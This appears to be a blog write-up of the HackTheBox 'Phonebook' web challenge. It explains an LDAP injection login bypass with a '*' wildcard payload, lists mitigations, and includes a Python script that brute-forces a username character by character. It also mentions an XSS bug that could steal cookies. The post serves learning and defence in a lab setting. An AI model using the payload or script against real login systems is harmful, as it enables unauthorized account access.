[HackTheBox] Phonebook Challenge

5 minute read

HackTheBox is a hacking playground. For a few months now, I have spent some time working on their challenges but I rarely posted any write-up about the challenges I work there. Their offers spans from simple quick challenges, to full-blown boxes. The goal of these posts is to highlight something I learnt when working on them.

Phonebook is a web challenge that starts with a login page. After inspecting the HTML source code, you can gain unauthenticated access to the page behind the auth wall. However, there is no action possible because you do not have a valid session and you cannot simply forge one.

This app confused me big time initially, as I was expecting to be able to bypass this login through some secondary request, some method of session forgery, or even SQL injection, but I was wrong and far from the actual solution.

I saw the forum threads and people were revealing an interesting clue on “using the right symbols”, although it was not making any sense just yet. Eventually I got there and found this an interesting vulnerability to discuss here thus motivating this post.

After navigating around with the site a little, I was able to bypass the login page as mentioned before but this led me nowhere. The bypass I found was simple: The source code is importing the CSS and JS files from another source, which got my attention and I decided to visit. The only thing this page was beneficial to me was to know what would be the expected content once we got into this page and this will be useful later when we automate the exploit.

When I went back to the login page to start spamming some SQL queries, I noticed some strange behaviors when I used *. After spending a couple hours on SQL rabbit holes, I eventually came across LDAP injection, which is the actual vulnerability.

This type of vulnerability works the same way other injections do - by trusting and using unsanitised input. I validated this was the case by simply login in with the *:* user/password combination, which basically matches all users and provides a valid session. Although I don’t have access to the source code, these kind of injections typically look like this somewhere in the code: filterContent = "(&(userID=" + enteredUser + ")(password=" + enteredPwd + "))".

In the case of having to handle the malicious payload that becomes (&(userID="*")(password="*"), which is a catch-all query, this essentially lets you in because it matches all users - * is a known wildcard and has legitimate use cases but definitely not this one.

The mitigation is straightforward though, sanitize and drop requests containing keywords that could be used to cause the query to misbehave (not just the * but also parenthesis, brackets, exclamation marks and a few others). On the other hand, unfortunately there are no prepared statements like in SQL.

In summary, the implementation should have the following security controls in place:

  1. Input sanitization1, both client-side and server-side, to ensure special characters do not manipulate the query but are treated as part of search;
  2. Use the least privilege access, meaning if a query gets compromised the attacker will be limited to what he can do in that search;
  3. Implement rate limits to temporarily ban or block consecutive failed requests from the same source. Even though this is not bullet proof, it is definitely a huge deterrent as it discourages automation.
  4. Add allow lists to control which inputs gets sent to the query, dropping any request containing unauthorized input.

The last control is very hard to implement it right. Block lists are cumbersome to maintain and easily bypassed by an attacker. Allow lists are better in this sense, specially when you know what to expect - a valid email address, a valid social security number etc. In this specific example, user names have a freer format, so I do not think it would be easy to build said solution.

The following script exploits the LDAP injection by iterating all lowercase, uppercase, digits and punctuation characters. This is only possible because this server has no firewall nor rate limit, which could be a secondary deterrent. It uses Python’s built-in constants (way cleaner than defining your own array of characters, unless you really need to) and does some light adjustments, like removing the * from the punctuation constant so we do duplicate it. It makes use of Python’s list comprehension features, but the idea is to iterate all characters individually. Basically it’s iterating all characters of each string in the ascii superset.

 1#!/usr/bin/env python3
 3import requests
 4from string import ascii_lowercase, ascii_uppercase, digits, punctuation
 6url = 'http://<login_path>'
 7login_obj = {"username": "some_val", "password":"*"}
 8punctuation=[c for c in punctuation if c != "*"] # we do not want double asterisk in the query
 9result = ""
11flag = 1
12while flag==1:
13    flag=0
14    for c in [char for chars in [ascii_lowercase, ascii_uppercase, punctuation] for char in chars]:
15        login_obj["username"] = result + c + "*"
16        req = requests.post(url, data=login_obj)
17        req.raise_for_status()
19        if "No search results" in req.text: # this text came in the next page after log in.
20            flag=1
21            result += c
22            print(result)
23            break

This part of the script focuses on brute-forcing a user name. As it will match characters that log in, it continue iterating with the next letter. This could be an issue for cases with a lot of users but, in hindsight, it would be easy to brute force all of them this way. For that though, it would require some adjustments in the script above.

The thought process is very similar to find a password for a found user name. It will try all characters from nothing until it no longer works. When the entire dictionary has be iterated and there are more characters to test, then the script was successful and the last print statement should be the password.

It’s easy to adapt this script to brute-force for the password, so it’s challenge for you, should you want to give it a try.

Bonus Finding

When reading the source code that handles the login response, you can notice that there is another vulnerability there - a XSS in the message URL parameter. I played around with it for a bit but I could not leverage this one to solve the challenge. It could still be used to steal cookies, as this challenge does not have any of that properly settled.

Thanks for reading,

  1. This OWASP cheatsheet is great to understand how to do input sanitization right. https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html#allow-list-vs-block-list ↩︎

comments powered by Disqus